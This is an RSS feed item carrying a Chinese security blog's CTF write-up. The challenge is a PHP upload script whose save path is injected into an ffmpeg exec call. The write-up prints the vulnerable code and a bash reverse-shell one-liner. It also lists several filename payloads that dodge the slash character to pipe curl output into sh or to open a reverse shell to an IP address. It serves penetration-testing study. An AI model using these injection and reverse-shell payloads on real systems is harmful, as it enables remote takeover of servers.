<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>每日一问 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E6%AF%8F%E6%97%A5%E4%B8%80%E9%97%AE/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 14 Jul 2020 01:32:49 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>每日一问：记一次命令注入RCE</title>
		<link>/ctf/1815.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 14 Jul 2020 01:32:49 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[命令执行]]></category>
		<category><![CDATA[命令注入]]></category>
		<category><![CDATA[每日一问]]></category>
		<guid isPermaLink="false">/?p=1815</guid>

					<description><![CDATA[在qq群里提出了一个每日一问的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。 题目 模拟真实环境在群里出了一道C...]]></description>
										<content:encoded><![CDATA[<p>在qq群里提出了一个<strong><span class="wpcom_tag_link"><a href="/tags/%e6%af%8f%e6%97%a5%e4%b8%80%e9%97%ae" title="每日一问" target="_blank">每日一问</a></span></strong>的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。</p>
<h2>题目</h2>
<p>模拟真实环境在群里出了一道CTF题当作<strong>每日一问</strong>，代码形如：</p>
<pre><code class="language-php line-numbers">&lt;?php
header('Content-Type: text/html; charset=utf-8');
//error_reporting(0);
$upload_dir = 'uploads/';
$isFfmpeg = isset($_POST['isFfmpeg']) ? (boolean)($_POST['isFfmpeg']) : false;
$save = isset($_POST['save']) ? $upload_dir . $_POST['save'] : false;
$filename = isset($_FILES['filename']) ? $_FILES['filename']['name'] : false;
if ($isFfmpeg &amp;&amp; isset($_FILES)) {
    if ($filename &amp;&amp; $save &amp;&amp; $_FILES['filename']["type"] == 'video/blob') {
        if (move_uploaded_file($_FILES['filename']["tmp_name"], $save)) {
            $last_line = exec("ffmpeg -i " . $save . " -hide_banner");
           // echo 'success';
        } else {
            //echo 'error';
            unlink($save);
            unlink($_FILES['filename']['tmp_name']);
        }
    }
} else {
    show_source(__FILE__);
}
</code></pre>
<p>环境是oneinstack的集成环境，网站目录位于<code>/data/wwwroot/default/index.php</code>，index.php是root权限写入的。</p>
<h2>题解思路</h2>
<p>php文件很明确可以看出来两个洞：<br />
1. 任意文件上传<br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%91%bd%e4%bb%a4%e6%b3%a8%e5%85%a5" title="命令注入" target="_blank">命令注入</a></span></p>
<p>首先尝试任意文件上传，直接怼上去shell试试，构造请求包：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ff7620e7-139a-7b60-e6c9-69ffa9293ee7.png" alt="image.png" /></p>
<p>访问 http://123.57.223.30/uploads/aa.php 报404，直接访问 http://123.57.223.30/uploads/ 没有这个目录，分析之后发现是<code>move_uploaded_file</code>的问题，当不存在uploads目录时会走else分支。</p>
<p>尝试跨目录<code>../</code>，shell应该在 http://123.57.223.30/aa.php 访问发现还是404。全站应该没有写入权限。只能走命令注入这条路了。</p>
<p>命令注入的关键点在于<code>move_uploaded_file</code>，首先找可写目录，比如<code>/tmp/</code>，因为不知道当前的绝对路径，我们可以用尽可能多的<code>../</code>跨到tmp，形如：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1548fa45-e335-886c-1450-8610c770ee00.png" alt="image.png" /></p>
<p>确实可行<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b618e78f-108d-c3a8-67bf-7919a4a6ee69.png" alt="image.png" /></p>
<p>这样走到exec之后注入，dnslog带外<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/3b7fe2d5-7c78-0864-a5e8-998dd4c99022.png" alt="image.png" /></p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/0b67d591-c95e-c4d5-1447-c402c33210fb.png" alt="image.png" /></p>
<p>这个时候上传的文件名为<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/11647257-ddbd-f57a-0367-10be431ea3e0.png" alt="image.png" /></p>
<p>尝试常规的bash反弹shell</p>
<pre><code class="line-numbers">bash -i &gt;&amp; /dev/tcp/ip/8080 0&gt;&amp;1
</code></pre>
<p>发包后没收到shell，因为<code>/</code>的问题，在<code>move_uploaded_file</code>的时候会报错，走不到exec()。</p>
<p>这个时候就是体现姿势的时候了。群友给了几个姿势</p>
<pre><code class="line-numbers">/../../../../../tmp/xx;curl 10.10.10.10 |sh ;
../../../../../../tmp/asdfasd.sh;bash $(php -r "print(chr(47));")tmp$(php -r "print(chr(47));")a.sh;
/../../../../../tmp/xx;bash -i &gt;&amp; ${PWD:0:1}dev${PWD:0:1}tcp${PWD:0:1}123.57.223.30${PWD:0:1}8080 0&gt;&amp;1;
echo `echo Lwo=|base64 -d`tmp
</code></pre>
<ol>
<li>curl的原理是直接通过管道符执行curl的结果</li>
<li>先传一<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d35719f6-6a27-72e6-aa1d-16156452eb59.png" alt="image.png" /><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d8201340-434f-baf3-7913-7d1ef6f94290.png" alt="image.png" /></li>
</ol>
<h2>上帝视角</h2>
<p>主要就是命令注入和<code>move_uploaded_file</code>在Linux下的绕过。回过头看Linux权限问题<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/05143a03-99b1-c5df-b816-f0d4b9a6d80b.png" alt="image.png" /><br />
index.php为root所属，其他用户只有读权限，不可写。完美复现实战中碰到的苛刻环境，利用还算简单，重点是通过bash配合其他命令进行绕过特殊字符串。</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
